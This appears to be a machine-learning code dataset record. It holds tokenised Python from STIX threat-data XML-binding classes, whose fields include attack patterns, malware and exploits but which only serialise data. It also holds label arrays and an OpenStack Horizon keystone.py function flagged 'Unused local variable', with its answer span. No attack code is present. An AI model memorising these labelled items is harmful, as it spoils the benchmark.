"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "Attack", "\\u", "Pat", "tern", "\\u_", "in_", "self_", "._", "Attack", "\\u", "Pattern_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Attack", "\\u", "Pat", "tern", "\\u_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", ",_", "name\\u_", "=_", "'", "Attack", "\\u", "Pat", "tern", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", "=_", "XML", "\\u", "NS_", ",_", "name\\u_", "=_", "'", "Reso", "urc", "e", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Tools_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Tools_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", ",_", "name\\u_", "=_", "'", "Tool", "s", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Infra", "structure_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Infra", "structure_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", ",_", "name\\u_", "=_", "'", "Infra", "structure", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Persona", "s_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Persona", "s_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", ",_", "name\\u_", "=_", "'", "Persona", "s", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Persona", "s", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", "=_", "XML", "\\u", "NS_", ",_", "name\\u_", "=_", "'", "Persona", "s", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "Persona", "\\u_", "in_", "self_", "._", "Persona", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Persona", "\\u_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", ",_", "name\\u_", "=_", "'", "Persona", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Behavio", "r", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", "=_", "XML", "\\u", "NS_", ",_", "name\\u_", "=_", "'", "Behavio", "r", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Attack", "\\u", "Patterns", "_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Attack", "\\u", "Patterns", "_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", ",_", "name\\u_", "=_", "'", "Attack", "\\u", "Patterns", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Mal", "ware_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Mal", "ware_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", ",_", "name\\u_", "=_", "'", "Mal", "ware", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Explo", "its_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Explo", "its_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", ",_", "name\\u_", "=_", "'", "Explo", "its", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Vi", "cti", "m", "Target", "ing", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", "=_", "XML", "\\u", "NS_", ",_", "name\\u_", "=_", "'", "Vi", "cti", "m", "Target", "ing", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Identity_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Identity_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", ",_", "name\\u_", "=_", "'", "Ident", "it", "y", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "Target", "ed", "\\u", "System", "s\\u_", "in_", "self_", "._", "Target", "ed", "\\u", "System", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Target", "ed", "\\u", "System", "s\\u_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", ",_", "name\\u_", "=_", "'", "Target", "ed", "\\u", "System", "s", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "Target", "ed", "\\u", "Information", "\\u_", "in_", "self_", "._", "Target", "ed", "\\u", "Information_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Target", "ed", "\\u", "Information", "\\u_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", ",_", "name\\u_", "=_", "'", "Target", "ed", "\\u", "Information", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Target", "ed", "\\u", "Techni", "cal", "\\u", "Details_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Target", "ed", "\\u", "Techni", "cal", "\\u", "Details_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "\"%", "s", ":\"_", "%_", "(_", "nsma", "p_", "[_", "namespace\\u_", "]_", ")_", ",_", "name\\u_", "=_", "'", "Target", "ed", "\\u", "Techni", "cal", "\\u", "Det", "ail", "s", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rela", "ted", "TT", "Ps", "Type_", "(_", "sti", "x", "\\u", "common", "\\u", "binding_", "._", "Gene", "ric", "Relationship", "List", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", "=_", "XML", "\\u", "NS_", ",_", "name\\u_", "=_", "'", "Rela", "ted", "TT", "Ps", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Rela", "ted", "TT", "Ps", "Type_", ",_", "self_", ")_", "._", "export", "Children_", "(_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", ",_", "name\\u_", ",_", "True_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "Rela", "ted", "\\u", "TT", "P", "\\u_", "in_", "self_", "._", "Rela", "ted", "\\u", "TT", "P_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Rela", "ted", "\\u", "TT", "P", "\\u_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", ",_", "name\\u_", "=_", "'", "Rela", "ted", "\\u", "TT", "P", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Explo", "it", "Target", "s", "Type_", "(_", "sti", "x", "\\u", "common", "\\u", "binding_", "._", "Gene", "ric", "Relationship", "List", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", "=_", "XML", "\\u", "NS_", ",_", "name\\u_", "=_", "'", "Explo", "it", "Target", "s", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Explo", "it", "Target", "s", "Type_", ",_", "self_", ")_", "._", "export", "Children_", "(_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", ",_", "name\\u_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "True_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "Explo", "it", "\\u", "Target", "\\u_", "in_", "self_", "._", "Explo", "it", "\\u", "Target_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Explo", "it", "\\u", "Target", "\\u_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "nsma", "p_", ",_", "namespace\\u_", ",_", "name\\u_", "=_", "'", "Explo", "it", "\\u", "Target", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "in", "File", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "doc_", "=_", "parse", "xml", "\\u_", "(_", "in", "File", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Node_", "=_", "doc_", "._", "getroot_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Tag_", ",_", "root", "Class_", "=_", "get", "\\u", "root", "\\u", "tag_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "root", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root", "Tag_", "=_", "'", "TT", "P", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Class_", "=_", "TT", "PT", "ype_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "root", "Obj_", "=_", "root", "Class_", "._", "factory_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Obj_", "._", "build_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Enable", " ", "Pyth", "on", " ", "to", " ", "collect", " ", "the", " ", "space", " ", "used", " ", "by", " ", "the", " ", "DOM", "._", "\\u\\u\\uNL\\u\\u\\u_", "doc_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "sys", ".", "stdout", ".", "write", "('", "<", "?", "xml", " ", "version", "=\"", "1.0", "\"", " ", "?>", "\\\\", "n", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "root", "Obj", ".", "export", "(", "sys", ".", "stdout", ",", " ", "0", ",", " ", "name", "\\u", "=", "root", "Ta", "g", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "namespace", "def", "\\u", "=''", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pretty", "\\u", "print", "=", "Tru", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "root", "Obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "Et", "ree_", "(_", "in", "File", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "doc_", "=_", "parse", "xml", "\\u_", "(_", "in", "File", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Node_", "=_", "doc_", "._", "getroot_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Tag_", ",_", "root", "Class_", "=_", "get", "\\u", "root", "\\u", "tag_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "root", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root", "Tag_", "=_", "'", "TT", "P", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Class_", "=_", "TT", "PT", "ype_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "root", "Obj_", "=_", "root", "Class_", "._", "factory_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Obj_", "._", "build_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Enable", " ", "Pyth", "on", " ", "to", " ", "collect", " ", "the", " ", "space", " ", "used", " ", "by", " ", "the", " ", "DOM", "._", "\\u\\u\\uNL\\u\\u\\u_", "doc_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Element_", "=_", "root", "Obj_", "._", "to", "\\u", "etree_", "(_", "None_", ",_", "name\\u_", "=_", "root", "Tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content_", "=_", "etree", "\\u_", "._", "tostring_", "(_", "root", "Element_", ",_", "pretty", "\\u", "print_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "xml", "\\u", "declaration_", "=_", "True_", ",_", "encoding_", "=_", "\"", "utf", "-", "8", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "write_", "(_", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "write_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "root", "Obj_", ",_", "root", "Element_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "String_", "(_", "in", "String_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "String", "IO_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc_", "=_", "parse", "xml", "\\u_", "(_", "String", "IO_", "(_", "in", "String_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Node_", "=_", "doc_", "._", "getroot_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Tag_", ",_", "root", "Class_", "=_", "get", "\\u", "root", "\\u", "tag_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "root", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root", "Tag_", "=_", "'", "TT", "P", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Class_", "=_", "TT", "PT", "ype_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "root", "Obj_", "=_", "root", "Class_", "._", "factory_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Obj_", "._", "build_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Enable", " ", "Pyth", "on", " ", "to", " ", "collect", " ", "the", " ", "space", " ", "used", " ", "by", " ", "the", " ", "DOM", "._", "\\u\\u\\uNL\\u\\u\\u_", "doc_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "sys", ".", "stdout", ".", "write", "('", "<", "?", "xml", " ", "version", "=\"", "1.0", "\"", " ", "?>", "\\\\", "n", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "root", "Obj", ".", "export", "(", "sys", ".", "stdout", ",", " ", "0", ",", " ", "name", "\\u", "=\"", "TT", "P", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "namespace", "def", "\\u", "=''", ")_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "root", "Obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
openstack/horizon/openstack_dashboard/api/keystone.py
[ { "content": "def user_update(request, user, **data):\n manager = keystoneclient(request, admin=True).users\n error = None\n\n if not keystone_can_edit_user():\n raise keystone_exceptions.ClientException(\n 405, _(\"Identity service does not allow editing user data.\"))\n\n # The v2 API updates user model and default project separately\n if VERSIONS.active < 3:\n # Update user details\n try:\n user = manager.update(user, **data)\n except keystone_exceptions.Conflict:\n raise exceptions.Conflict()\n except Exception:\n error = exceptions.handle(request, ignore=True)\n\n if \"project\" in data:\n project = data.pop('project')\n\n # Update default tenant\n try:\n user_update_tenant(request, user, project)\n user.tenantId = project\n except Exception:\n error = exceptions.handle(request, ignore=True)\n\n # Check for existing roles\n # Show a warning if no role exists for the project\n user_roles = roles_for_user(request, user, project)\n if not user_roles:\n messages.warning(request,\n _('User %s has no role defined for '\n 'that project.')\n % data.get('name', None))\n\n if error is not None:\n raise error\n\n # v3 API is so much simpler...\n else:\n try:\n user = manager.update(user, **data)\n except keystone_exceptions.Conflict:\n raise exceptions.Conflict()", "metadata": "root.user_update", "header": "['module', '___EOS___']", "index": 401 } ]
[ { "span": "user ", "start_line": 444, "start_column": 12, "end_line": 444, "end_column": 16 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "user", "\\u", "update_", "(_", "request_", ",_", "user_", ",_", "**_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "manager_", "=_", "keystone", "client_", "(_", "request_", ",_", "admin_", "=_", "True_", ")_", "._", "users_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "error_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "keystone", "\\u", "can", "\\u", "edit", "\\u", "user_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "keystone", "\\u", "exceptions_", "._", "Client", "Exception_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "405_", ",_", "\\u_", "(_", "\"", "Ident", "it", "y", " ", "service", " ", "doe", "s", " ", "not", " ", "allow", " ", "editin", "g", " ", "user", " ", "data", ".\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 